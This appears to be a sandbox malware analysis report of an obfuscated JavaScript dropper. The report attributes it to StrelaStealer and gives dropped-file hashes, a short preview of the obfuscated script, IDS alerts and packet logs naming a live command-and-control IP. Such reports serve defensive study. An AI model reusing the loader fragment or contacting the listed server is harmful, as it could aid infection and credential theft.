Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\87c4812f-4b4a-4e0a-bb80-ec76b9c3c72b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	F43041C007C55C623135DD65EBCBE292
SHA1:	0F5781369DB2C967A1795898030244B2E9D561F6
SHA-256:	4F7827EA2E3ACAA6A1B5BC7969516DD8EF08AC789E9C5FBCE61A71D0553C2B8D
SHA-512:	E5D1D615B902E4D66FD550BDF1418FE7D70BC08548EA006891F90CB183299D6700547205A3F2FEED6AE2C2F3A95B5F094356E4FB5451A36C4555CBFABE4D44F5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\b179061a-4d2e-43c6-85e0-2d071b0df50b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18833), with CRLF line terminators
Entropy (8bit):	4.904687071843742
TrID:
File name:	525931685256721403.js
File size:	22'344 bytes
MD5:	b66d955e7dcc938ee784f589e4d0967a
SHA1:	92c0c140983f046f6faa743d0e8bc616d556cc16
SHA256:	74bded847f08dea724adfcc9bd4f0291d5ec65dc34b350ef08d069dd9abb6171
SHA512:	cfaa7a1e72fd31f559cbb6db1d189f6b13a97d15e18df04cde7c67a09dd562195a59d57ffffbbc3f378a27a6f5e84828acf6e343897e1358ff5b7da025d9b0bd
SSDEEP:	384:tBmDg+QxVWIvwk42uGuSoSdiqDmRta7co4Zb5lz:bsg+QxVWIvwk42uGuxSdzCgIZb5lz
TLSH:	46A26048258ACBD58FD895ACB7970DA1B564008DEFA4754E0432B29F4CF61F914F88FB
File Content Preview:	function sauvjaoov(){iqksqvpo=[1031,3079,5127,4103,2055,3072];var bdbvetx=this[jhoztgrop+nolsia+tspdcu+rqkehjw+kqjowvu+wdjybg+bxmlmzcd+ajrmwr](this[sawrj+sdwuxdyj+doytqyke+tspdcu+bbcsnxxfc+jhoztgrop+ajrmwr][fmqmyj+tspdcu+kqjowvu+nolsia+ajrmwr+kqjowvu+gwvp

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:47:41.975401+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49707	193.143.1.205	80	TCP
2025-01-11T01:47:41.975401+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.10	49707	193.143.1.205	80	TCP
2025-01-11T01:47:44.624451+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49725	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:47:41.135677099 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:41.140703917 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.140789032 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:41.143340111 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:41.149796009 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.975297928 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.975348949 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.975400925 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:41.975402117 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.975445986 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.975478888 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.975512981 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.975521088 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:41.975548029 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.975570917 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:41.975583076 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.975620985 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.975625992 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:41.975655079 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.975761890 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:41.980603933 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.980638981 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:41.980699062 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.021419048 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.021466970 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.021517038 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.106343031 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.106390953 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.106451035 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.106463909 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.106479883 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.106560946 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.106599092 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.106637001 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.106673002 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.106704950 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.106714964 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.106740952 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.106775999 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.107367039 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.107400894 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.107436895 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.107453108 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.107486010 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.107714891 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.107773066 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.107824087 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.107856989 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.107873917 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.107891083 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.107918978 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.108697891 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.108736038 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.108752012 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.108784914 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.108784914 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.108815908 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.108829021 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.108880043 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.109420061 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.156682968 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.156709909 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.156759977 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.195303917 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.195327997 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.195384979 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.198509932 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.198520899 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.198582888 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.235223055 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.235244989 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.235256910 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.235268116 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.235280037 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.235291004 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.235304117 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.235321045 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.235326052 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.235378981 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.235702991 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.235713005 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.235724926 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.235738039 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.235747099 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.235785007 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.236067057 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.236193895 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.236205101 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.236216068 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.236226082 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.236237049 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.236237049 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.236248016 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.236258984 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.236260891 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.236285925 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.237027884 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.237118959 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.237129927 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.237149000 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.237159014 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.237171888 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.237183094 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.237185001 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.237198114 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.237227917 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.238061905 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.238074064 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.238086939 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.238110065 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.238111973 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.238120079 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.238130093 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.238142967 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.238146067 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.238153934 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.238183975 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.238210917 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.239053011 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.239065886 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.239075899 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.239115953 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.239136934 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.249226093 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.249238014 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.249250889 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.249262094 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.249356985 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.249494076 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.290920019 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.323613882 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.323636055 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.323679924 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.323715925 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.323741913 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.323805094 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.323896885 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.323911905 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.323951006 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.327537060 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.327547073 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.327600956 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.363368988 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.363387108 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.363406897 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.363421917 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.363451004 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.363481998 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.363502026 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.363514900 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.363523960 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.363646030 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.363658905 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.363673925 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.363713980 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.363938093 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.363956928 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.363970995 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.363980055 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.364007950 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.364029884 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.364274979 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.364368916 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.364387035 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.364402056 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.364414930 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.364427090 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.364430904 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.364439964 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.364466906 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.365206003 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.365219116 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.365231037 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.365247965 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.365257025 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.365259886 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.365272045 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.365283966 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.365297079 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.365298033 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.365325928 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.366082907 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.366097927 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.366111994 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.366132021 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.366143942 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.366148949 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.366156101 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.366172075 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.366199017 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.366214991 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.367125034 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.367136955 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.367149115 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.367161036 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.367172003 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.367183924 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.367187023 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.367196083 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.367208004 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.367229939 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.368005037 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.368019104 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.368030071 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.368052006 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.368067980 CET	80	49707	193.143.1.205	192.168.2.10
Jan 11, 2025 01:47:42.368068933 CET	49707	80	192.168.2.10	193.143.1.205
Jan 11, 2025 01:47:42.368081093 CET	80	49707	193.143.1.205	192.168.2.10
